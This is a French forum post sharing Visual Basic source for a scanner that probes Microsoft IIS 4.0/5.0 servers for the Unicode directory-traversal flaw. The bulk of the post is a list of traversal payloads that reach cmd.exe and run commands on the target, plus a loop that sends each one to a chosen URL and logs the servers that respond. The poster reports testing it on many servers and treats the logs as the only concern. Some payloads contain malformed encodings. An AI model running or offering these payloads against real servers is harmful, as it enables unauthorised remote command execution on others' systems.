Scanneur de failles unicodes

Description

La failles unicodes est une failles qui est présente sur les serveurs IIS (internet informations Service). Les systèmes vulnérables sont Microsoft IIS 5.0 sur Windows NT 2000 et IIS 4.0 sur Windows NT 4.0. c'était un petit résumé rapides de la failles...
Je l'ai testé et bon nombre de serveur possède une failles de ce type
ATTENTION: si vous testé ces failles sur un serveur prenez notes que les logs du serveur contiendront votre IP et toutes les failles testé...
NOTE: cette source n'est pas de moi...
mais j'ai trouvé utile de la mettre.

Source / Exemple :


Dim test_termine As String
Dim prochaine As Integer

'Le code va commencé par vérifier si le  textbox n'est pas vide,
'si c'est le cas rien ne se passe ; ensuite, le code vérifiera si
'le dernier caractère est une barre /, et si c'est le cas, alors il l'enlève
'en remplaçant le contenu du textbox par l'adresse sans la barre /
'La vérification étant terminé le bouton est désactivé et le code
'appelle la fonction search qui va lancer les tests.
Private Sub Command1_Click()
    If url.Text <> "" Then
        If Right(url.Text, 1) = "/" Then
            url.Text = Mid(url.Text, 1, Len(url.Text) - 1)
        End If
        Command1.Enabled = False
        Call search(1)
    End If
End Sub

Private Sub form_load()
'failles UNICODES qui se trouveras dans le listbox
'Vous pouvez utiliser ce soft pour tester d'autres failles
    With failles
        .AddItem "/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:"
        .AddItem "/iisadmpwd/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:"
        .AddItem "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:"
        .AddItem "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\"
        .AddItem "/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir%20c:\"
        .AddItem "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\"
        .AddItem "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:"
        .AddItem "/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir"
        .AddItem "/msadc/..%%35%63../..%%35%63../..%%35%63/winnt/system32/cmd.exe?c+dir"
        .AddItem "/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir"
        .AddItem "/msadc/..%255C..%255c..%255cwinnt/system35/cmd.exe?/c+dir"
        .AddItem "/msadc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?c+dir"
        .AddItem "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..winnt/system32/cmd.exe?/c+dir"
    End With
End Sub

'cette boucle aura pour première valeur le contenu de la variable
'val et comme dernière ligne de la liste failles.
Function search(val As Integer)
    For i = val To failles.ListCount - 1
        prochaine = i + 1
        source.Text = Inet.OpenURL(url.Text & failles.List(i))
        Timer1.Enabled = True
        GoTo fin
    Next i
    Command1.Enabled = True
fin:
End Function

'Première chose: la fonction vérifie si la source n'est pas vide
'dans ce cas rien n'est chargée?si elle n'est pas vide, on lance la boucle
'La boucle va en fait, tester les caractères 6 par 6 pour voir si dans la source
'il n'y a pas de balise.
Private Sub source_change()
    If source.Text <> "" Then
        For i = 1 To Len(source.Text) - 6
            If Mid(source.Text, i, 6) = "<html>" Or Mid(source.Text, i, 6) = "<script>" Or Mid(source.Text, i, 6) = " < head > " Then
            GoTo fin
            End If
        Next i
        resultat.AddItem (url.Text & failles.List(prochaine - 1))
        text_termine = "oui"
    End If
fin:
    test_termine = "oui"
End Sub

'le timer va donc commencer par vérifier le contenu de la variable
'test_termine. Ensuite, si le contenu est oui, il va modifier le contenu de la variable
'test_termine par non car un nouveau test va commencer. Il va se désactiver lui même
'carc'est la fonction search qui active le timer, Il va également
'vider le contenu de la source, et pour finr, il appellera la fonction avec comme variable
'val le contenu de prochaine
Private Sub timer1_timer()
    If test_termine = "oui" Then
        test_termine = "non"
        Timer1.Enabled = False
        source.Text = ""
        Call search(prochaine)
    End If
End Sub

Conclusion :


Vous pouvez utilisez cette pour testez d'autres type de failles.

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.